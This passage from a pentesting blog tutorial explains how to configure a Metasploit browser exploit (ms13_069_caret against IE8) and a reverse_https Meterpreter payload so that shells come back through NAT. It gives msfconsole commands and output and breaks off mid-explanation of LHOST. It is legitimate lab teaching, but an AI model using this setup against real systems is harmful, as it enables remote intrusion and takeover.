{"id":10227,"date":"2014-01-04T11:25:50","date_gmt":"2014-01-04T10:25:50","guid":{"rendered":"https:\/\/www.corelan.be\/?p=10227"},"modified":"2014-01-04T11:25:50","modified_gmt":"2014-01-04T10:25:50","slug":"metasploit-meterpreter-and-nat","status":"publish","type":"post","link":"https:\/\/www.corelan.be\/index.php\/2014\/01\/04\/metasploit-meterpreter-and-nat\/","title":{"rendered":"Metasploit Meterpreter and NAT"},"content":{"rendered":"

Professional pentesters typically use a host that is connected directly to the internet, has a public IP address, and is not hindered by any firewalls or NAT devices to perform their audit. Hacking "naked" is considered to be the easiest way to perform a penetration test that involves getting shells back.<\/p>\n

Not everyone has the luxury of putting a box directly connected to the internet and as the number of free public IP addresses continues to decrease, the need for using an audit box placed in a LAN, behind a router or firewall, will increase.<\/p>\n

Putting an audit box behind a device that will translate traffic from private to public and vice versa has some consequences. Not only will you need to be sure that the NAT device won't "break" if you start a rather fast portscan, but since the host is in a private LAN, behind a router or firewall, it won't be reachable directly from the internet.  <\/p>\n

Serving exploits and handling reverse, incoming, shells can be problematic in this scenario.<\/p>\n

In this small post, we'll look at how to correctly configure Meterpreter payloads and make them work when your audit box is behind a NAT device.   We'll use a browser exploit to demonstrate how to get a working Meterpreter session, even if both the target and the Metasploit "attacker" box are behind NAT.<\/p>\n

Network setup<\/h3>\n

I'll be using the following network setup in this post:<\/p>\n

\"Labsetup\"<\/p>\n

Both the attacker and the target are behind a NAT device. We don't know the IP range used by the target and we've determined there is no direct way in from the internet to the target network, so the public IP of the target is not relevant.<\/p>\n

We'll assume that the target has the ability to connect to the internet over port 80 and 443.<\/p>\n

I've used IP 1.1.1.1 to indicate the "public" side of our attack network.  You will have to replace this IP with your own public IP when trying the steps in this post.<\/p>\n

I will use Kali Linux as the attacker and I have set up a clone of the Metasploit Git repository on the box:<\/p>\n

cd \/\nmkdir -p \/pentest\/exploits\ngit clone https:\/\/github.com\/rapid7\/metasploit.git\ncd metasploit-framework\nbundle install<\/pre>\n
If you already had a git clone set up, make sure to update to the latest and greatest with "git pull".  (A small bug, related with using Meterpreter behind NAT was just fixed a few hours ago, so it's important to update to the latest version)<\/p>\n
The target is just a Windows XP SP3 box, but it doesn't really matter what it is, as long as we can use a browser exploit to demonstrate how to use Meterpreter.  I have installed Internet Explorer 8 from IECollection (download here: http:\/\/utilu.com\/IECollection\/<\/a>).   I'll be using this IE version because it's outdated and pretty much vulnerable to most of the IE8 browser exploits out there.<\/p>\n
Set up forwarding on the attacker side<\/h3>\n
If we ever want to be able to accept connections from the target, we will need to configure the attacker firewall\/NAT to forward traffic on certain ports.  The exact steps to do this will be very specific to the brand\/model\/type of router\/firewall that you are using, so this is beyond the scope of this post.   In general, the idea is to configure the router\/firewall so traffic to the public IP address of the router, on ports 80 and 443, will be forwarded to 192.168.0.187 (which is the LAN IP of my attacker box).  When setting up the router\/firewall, make sure to check if port 80 and\/or 443 are not used by the router\/firewall (management interface, VPN endpoint, etc).<\/p>\n
We'll use port 80 to serve the browser exploit and port 443 for the reverse Meterpreter connection.  First, we need to verify that the forwarding works.<\/p>\n
On Kali, create a small html file and store it under \/tmp<\/p>\n
root@krypto1:\/# cd \/tmp<\/span>\nroot@krypto1:\/tmp# echo "It works" > test.html<\/span><\/pre>\n
Next, make sure nothing is currently using port 80 or port 443<\/p>\n
root@krypto1:\/tmp# netstat -vantu | grep :80<\/span>\nroot@krypto1:\/tmp# netstat -vantu | grep :443<\/span><\/pre>\n
If you don't see output to both commands, you should be good to go.  If something is listed, you'll need to find what process is using the port and kill the process.  For port 80, you could check the processes that are taking control over the http port using the following lsof command:<\/p>\n
root@krypto1:\/tmp# lsof -i | grep :http <\/span>\napache2    4634     root    4u  IPv6 393366      0t0  TCP *:http (LISTEN)\napache2    4642 www-data    4u  IPv6 393366      0t0  TCP *:http (LISTEN)\napache2    4643 www-data    4u  IPv6 393366      0t0  TCP *:http (LISTEN)\napache2    4644 www-data    4u  IPv6 393366      0t0  TCP *:http (LISTEN)\napache2    4645 www-data    4u  IPv6 393366      0t0  TCP *:http (LISTEN)\napache2    4646 www-data    4u  IPv6 393366      0t0  TCP *:http (LISTEN)<\/pre>\n
Just stop apache2 to free up the port:<\/p>\n
root@krypto1:\/tmp# service apache2 stop<\/span>\nStopping web server: apache2 ... waiting .\nroot@krypto1:\/tmp# <\/span><\/pre>\n
With all ports available, we'll run a simple web server and serve the "test.html" page. From the folder that contains the test.html file, run this python command:<\/p>\n
root@krypto1:\/tmp# python -m SimpleHTTPServer 80<\/span>\nServing HTTP on 0.0.0.0 port 80 ...<\/pre>\n
If you now connect to http:\/\/192.168.0.187\/test.html from the Kali box itself, you should see the "It works" page and the <\/p>\n
\"web1\"<\/p>\n
The output on the Kali box should list the connection and show that the page was served with response 200<\/p>\n
root@krypto1:\/tmp# python -m SimpleHTTPServer 80<\/span>\nServing HTTP on 0.0.0.0 port 80 ...\n192.168.0.187 - - [04\/Jan\/2014 12:42:02] "GET \/test.html HTTP\/1.1<\/span>" 200 -<\/pre>\n
Perfect, this proves that the webserver works.  On the target computer, connect to http:\/\/1.1.1.1\/test.html<\/a> (again, replace 1.1.1.1 with the public IP of the router\/firewall on the attacker side) and you should get the same thing.  If you don't see the page, check that the forwarding is set up correctly.  <\/p>\n
If this works for port 80, go back to the attacker box and terminate the python command using CTRL+C.  Then launch the command again, this time using port 443:<\/p>\n
root@krypto1:\/tmp# python -m SimpleHTTPServer 443<\/span>\nServing HTTP on 0.0.0.0 port 443 ...<\/pre>\n
Now access the webserver over port 443.  Despite the fact that we are using 443 and that 443 is commonly associated with https (encrypted), our python handler is not using encryption. In other words, we still have to use http instead of https in the URL:<\/p>\n
\"web2\"<\/p>\n
root@krypto1:\/tmp# python -m SimpleHTTPServer 443<\/span>\nServing HTTP on 0.0.0.0 port 443 ...\n192.168.0.187 - - [04\/Jan\/2014 12:47:44] "GET \/test.html HTTP\/1.1<\/span>" 200 -\n192.168.0.187 - - [04\/Jan\/2014 12:47:44] code 404, message File not<\/span> found\n192.168.0.187 - - [04\/Jan\/2014 12:47:44] "GET \/favicon.ico HTTP\/1.1<\/span>" 404 -\n192.168.0.187 - - [04\/Jan\/2014 12:47:44] code 404, message File not<\/span> found\n192.168.0.187 - - [04\/Jan\/2014 12:47:44] "GET \/favicon.ico HTTP\/1.1<\/span>" 404 -<\/pre>\n
(don't worry about the 404 messages related with \/favicon.ico - it's safe to ignore them) <\/p>\n
If you can connect to http:\/\/1.1.1.1:443\/test.html from the target computer, we know that the port forwarding is working correctly for both port 80 and 443.  If this doesn't work, there's no point in proceeding, because anything else we try will fail. <\/p>\n
When everything works, close the python command to free up port 443 too.<\/p>\n
Metasploit configuration<\/h3>\n
Browser exploit - meterpreter\/reverse_https<\/h4>\n
First of all, let' set up Metasploit to serve the browser exploit and handle a reverse https Meterpreter connection.   The idea is to trick the target into connecting to the exploit on port 80 and serve the meterpreter\/reverse_https connection over port 443.<\/p>\n
Go to the metasploit-framework folder, open msfconsole (don't forget the .\/ if you want to be sure you're running msfconsole from the current folder and not the version that was installed with Kali) and select an exploit. For the sake of this exercise, I'll use ms13_069_caret.rb:<\/p>\n
root@krypto1:\/tmp# cd \/pentest\/exploits\/metasploit-framework\/<\/span>\n(master) root@krypto1:\/pentest\/exploits\/metasploit-framework# .\/msfconsole <\/span>\n     ,           ,\n    \/             \\\n   ((__---,,,---__))\n      (_) O O (_)_________\n         \\ _ \/            |\\\n          o_o \\   M S F   | \\\n               \\   _____  |  *\n                |||   WW|||\n                |||     |||\n\n\n       =[ metasploit v4.9.0-dev [core:4.9 api:1.0]\n+ -- --=[ 1248 exploits - 678 auxiliary - 199 post\n+ -- --=[ 324 payloads - 32 encoders - 8 nops\n\nmsf > use exploit\/windows\/browser\/ms13_069_caret \nmsf exploit(ms13_069_caret) > <\/pre>\n
Show the options:<\/p>\n
msf exploit(ms13_069_caret) > show options\n\nModule options (exploit\/windows\/browser\/ms13_069_caret):\n\n   Name        Current Setting  Required  Description\n   ----        ---------------  --------  -----------\n   SRVHOST     0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or<\/span> 0.0.0.0\n   SRVPORT     8080             yes       The local port to listen on.\n   SSL         false<\/span>            no        Negotiate SSL for<\/span> incoming connections\n   SSLCert                      no        Path to a custom SSL certificate (default is randomly generated)\n   SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)\n   URIPATH                      no        The URI to use for<\/span> this exploit (default is random)\n\n\nExploit target:\n\n   Id  Name\n   --  ----\n   0   IE 8 on Windows XP SP3<\/pre>\n
The exploit requires a SRVHOST and SRVPORT.  These 2 variables will be used by Metasploit to determine where the webserver needs to bind to and listen on.  The plan is to trick the target to connect to this webserver, using the public IP of our firewall\/router, which will then forward the traffic to our Metasploit instance. <\/p>\n
We can't tell the Metasploit webserver to listen to the public IP of our router, because it won't be able to "bind" itself to that IP address.  If we use 0.0.0.0, the Metasploit webserver will simply listen on all interfaces for incoming traffic.  In other words, you can leave the SRVHOST to 0.0.0.0, or you can set it to the LAN IP of the Kali box itself (192.168.0.187 in this case).  I'll just leave the default 0.0.0.0.  <\/p>\n
Next, we need to change the port to 80, and we'll set the URIPATH to \/  (so we can predict what the URI will be, instead of letting Metasploit create a random URI):<\/p>\n
msf exploit(ms13_069_caret) > set SRVPORT 80\nSRVPORT => 80\nmsf exploit(ms13_069_caret) > set URIPATH \/\nURIPATH => \/<\/pre>\n
Next, let's select the meterpreter reverse_https payload for windows. If we run "show options" again, we'll see this:<\/p>\n
msf exploit(ms13_069_caret) > set payload windows\/meterpreter\/reverse_https\npayload => windows\/meterpreter\/reverse_https\nmsf exploit(ms13_069_caret) > show options\n\nModule options (exploit\/windows\/browser\/ms13_069_caret):\n\n   Name        Current Setting  Required  Description\n   ----        ---------------  --------  -----------\n   SRVHOST     0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or<\/span> 0.0.0.0\n   SRVPORT     80               yes       The local port to listen on.\n   SSL         false<\/span>            no        Negotiate SSL for<\/span> incoming connections\n   SSLCert                      no        Path to a custom SSL certificate (default is randomly generated)\n   SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)\n   URIPATH     \/                no        The URI to use for<\/span> this exploit (default is random)\n\n\nPayload options (windows\/meterpreter\/reverse_https):\n\n   Name      Current Setting  Required  Description\n   ----      ---------------  --------  -----------\n   EXITFUNC  process          yes       Exit technique: seh, thread, process, none\n   LHOST                      yes       The local listener hostname\n   LPORT     443              yes       The local listener port\n\n\nExploit target:\n\n   Id  Name\n   --  ----\n   0   IE 8 on Windows XP SP3\n\n\nmsf exploit(ms13_069_caret) > <\/pre>\n
The Module options (SRVHOST and SRVPORT) are set the way we want it.  The Payload options require an LHOST and LPORT.  Based on the output above, the LPORT is already set to 443. This is the port where the Meterpreter reverse connection will attempt to connect to.  If it was not set to 443 already on your box, simply run "set LPORT 443" to make sure the Meterpreter handler will listen on port 443:<\/p>\n
msf exploit(ms13_069_caret) > set LPORT 443\nLPORT => 443<\/pre>\n
Note: In any case, to keep things as easy as possible, try to use the same ports for a specific "service".  That is, if you host the webserver on port 80 on the firewall, try to make sure to also forward traffic to port 80 on the attacker\/Metasploit box, and host the exploit on port 80 in Metasploit.  The same thing applies to the payload. If we serve the payload on port 443, make sure to use this port everywhere. <\/p>\n
LHOST serves 2 purposes :<\/p>\n